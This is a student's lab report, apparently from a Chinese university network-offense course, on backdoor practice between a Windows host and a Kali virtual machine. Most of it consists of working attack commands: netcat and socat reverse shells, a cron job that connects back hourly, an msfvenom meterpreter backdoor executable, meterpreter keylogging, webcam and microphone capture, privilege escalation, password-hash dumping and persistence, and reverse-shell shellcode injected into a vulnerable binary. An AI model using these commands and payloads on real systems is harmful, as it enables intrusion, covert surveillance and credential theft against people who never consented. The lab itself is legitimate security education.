2020-2 网络对抗技术 20175120 exp2 后门原理与实践

实验内容

(1)使用netcat获取主机操作Shell,cron启动 (0.5分)

(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。


一、使用netcat获取主机操作Shell,cron启动

使用netcat工具获取远程主机的shell

实验准备

因为我是用的win10平台以及linux虚拟机,kali linux本身有netcat,就只需要从附件中下载netcat至win10

实验步骤

一、关闭linux、Windows10防火墙

1.关闭win10防火墙

右键网络,点击属性,打开以下界面

点击左下角windows defender防火墙,进入以下界面

点击左侧启动或关闭windows defender 防火墙,设置关闭即可

2.关闭linux防火墙

安装ufw:apt-get install ufw

关闭:ufw disable # To disable the firewall

开启:ufw enable # To disable the firewall

二、以虚拟机为监听端,获取主机shell&&以主机为监听端,获取虚拟机shell

1.虚拟机获取主机 windows shell

kali端输入:nc -l -p 5120 开启监听

主机端连入kali:ncat.exe -e cmd.exe 192.168.5.250 5120,此处ip为虚拟机ip

然后可以看到,kali连入windows shell,输入dir测试

2.主机获取虚拟机shell

主机输入:ncat.exe -l -p 5120,开启监听

虚拟机端连入主机:nc 192.168.5.245 5120 -e /bin/sh此处ip为主机ip

在win端输入ls进行测试

三、windows为攻击端,使用cron定时启动,获取linux shell

win端开启监听:ncat.exe -l -p 5120

linux端输入:crontab -e,初次进入选 3,输入i编辑,

输入43 * * * * /bin/netcat 192.168.5.245 5120 -e /bin/sh,表示在每小时的第43分钟反向连接主机的5120端口

然后按Esc``:wq保存退出

到时间后输入ls测试

二、使用socat获取主机操作Shell, 任务计划启动

实验准备

附件中下载实验工具socat.exe

实验步骤


  • 在任务计划程序中设置通过socat.exe打开cmd.exe

  • 在kali linux中输入socat - tcp:192.168.5.245:5120


右键此电脑,点击管理,进入任务计划程序

点击创建任务,填入名称

新建触发器,设定开启时间

新建操作,在程序或脚本中填入socat.exe的存储路径,在添加参数中填入:tcp-listen:5120 exec:cmd.exe,pty,stderr,然后确定

等待socat.exe窗口弹出

接下来,在linux端输入:socat - tcp:192.168.5.245:5120连入windows shell


三、使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell


  • kali生成后门程序植入win

  • kali通过后门程序在MSF工具中对主机进行操作


  • kali端通过MSF生成可执行的后门程序

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.5.250 LPORT=5120 -f exe > 5120backdoor.exe

LHOST填入虚拟机ip,LPORT填入接入端口号

  • win端接受已生成的后门程序

ncat.exe -l 5120 > 5120backdoor.exe

  • kali 连接主机的5120端口传输文件5120backdoor.exe

nc 192.168.5.245 5120 < 5120backdoor.exe

可以看到文件夹中有 5120backdoor.exe


kali端打开MSF: msfconsole

输入以下指令:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

设置接入ip set LHOST 192.168.5.245

设置接入端口 set LPORT 5120

exploit 开始监听

  • 在win10端运行5120backdoor.exe,可以在kali linux端看到已连接,输入dir可以看到已获取shell


四、使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 获取主机音频

record_mic截取一段主音频

  • 获取主机摄像头

webcam_snap获取主机摄像头并拍照

  • 获取主机击键记录

keyscan_start 开始记录击键

keyscan_dump 读取击键记录

keyscan_stop 停止读取击键记录

  • 获取主机截屏

screenshot

  • 提权

getuid 查看当前用户

getsystem 进行提权

通过几条指令看看提权是否成功

  1. 导出主机密码

run post/windows/gather/hashdump

  1. 在主机中安装meterpreter

run persistence -h

似乎失败了。。。

再试试 run persistence -U -i 5 -p 443 -r 192.168.5.245

成功了!


五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell


  • 准备好 shellcode

  • 找到 pwn1 返回地址

  • 通过 MSF meterpreter 进行连接,获取 shell


准备shellcode

我在老师给的教程Shellcode基础中找到一个能下载 shellcode 的网站

找到了一个能进行反弹式连接的shellcode

从数组中提取shellcode机器码为

\x31\xc9\x31\xdb\xf7\xe3\xfe\xc1\xfe\xc3\xfe\xc3\x66\xb8\x67\x01\xcd\x80\x93\xfe\xc9\x51\xb2\x16\xb9\x82\x03\x03\x04\x81\xe9\x03\x03\x03\x03\x51\x66\x68\x11\x5c\x66\x6a\x02\x8d\x0c\x24\x66\xb8\x6a\x01\xcd\x80\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf6\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80

  • 根据实验一的流程,我找到了 pwn1 shellcode 返回地址为 0xffffd6c0

构建要注入的shellcode:

perl -e 'print "A" x 32;print "\xc0\xd6\xff\xff\x31\xc9\x31\xdb\xf7\xe3\xfe\xc1\xfe\xc3\xfe\xc3\x66\xb8\x67\x01\xcd\x80\x93\xfe\xc9\x51\xb2\x16\xb9\x82\x03\x03\x04\x81\xe9\x03\x03\x03\x03\x51\x66\x68\x11\x5c\x66\x6a\x02\x8d\x0c\x24\x66\xb8\x6a\x01\xcd\x80\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf6\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80"' > input_shell

  • MSF meterpreter 获取 shell

输入 (cat input_shell;cat) | ./pwn1 进行注入,回车看到乱码显示

打开另一个终端,启动 MSF 控制台 msfconsole

准备开启监听

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 127.0.0.1

set LPORT 4444

连接成功!

思考与总结

基础问题回答

  • (1)例举你能想到的一个后门进入到你系统中的可能方式?

网页下载文件时,要求用下载器,进行捆绑下载,捆绑文件中含有后门程序,程序通过隐藏进入系统

  • (2)例举你知道的后门如何启动起来(win及linux)的方式?

开机自启动(通过修改注册表、植入主机自启动文件夹)
定时启动(设定固定)

  • (3)Meterpreter有哪些给你映像深刻的功能?

Meterpreter能够窃听受害机的许多隐秘信息,如密码、机密文件、击键记录;同时还能通过受害机摄像头对受害机使用者的所处场所进行拍照,获取更多隐私信息。

  • (4)如何发现自己有系统有没有被安装后门?

通过杀软定时对计算机进行病毒检测;查看计算机日志,有没有可疑的记录

实验中遇到的问题

在内容一使用nc,主机作为监听端,获取虚拟机shell时,连接不成功

原因:主机防火墙未关闭,在我关闭主机防火墙后连接成功

实验总结

这次实验操作较多,知识性没有第一次实验强,但仍然出现了很多问题,很多因为指令输错,检查不到位而出现的结果错误,但我都一一解决。这次实验我学会了使用netcat、socat、MSF meterpreter三种工具进行后门实践,对现在的后门程序的功能有了更加深入的了解,同时也提高了我对于网络安全重要性的认识,以及学习这门课程的兴趣。如今我还只接触到了网络安全攻击方式的冰山一角,但单单meterpreter工具的功能就如此强大,我觉得我需要更多的知识来丰富自己的网络安全意识,以应对未来更多防不胜防的网络安全攻击。

posted @ 2020-03-15 16:39  20175120彭宇辰  阅读(403)  评论(0编辑  收藏  举报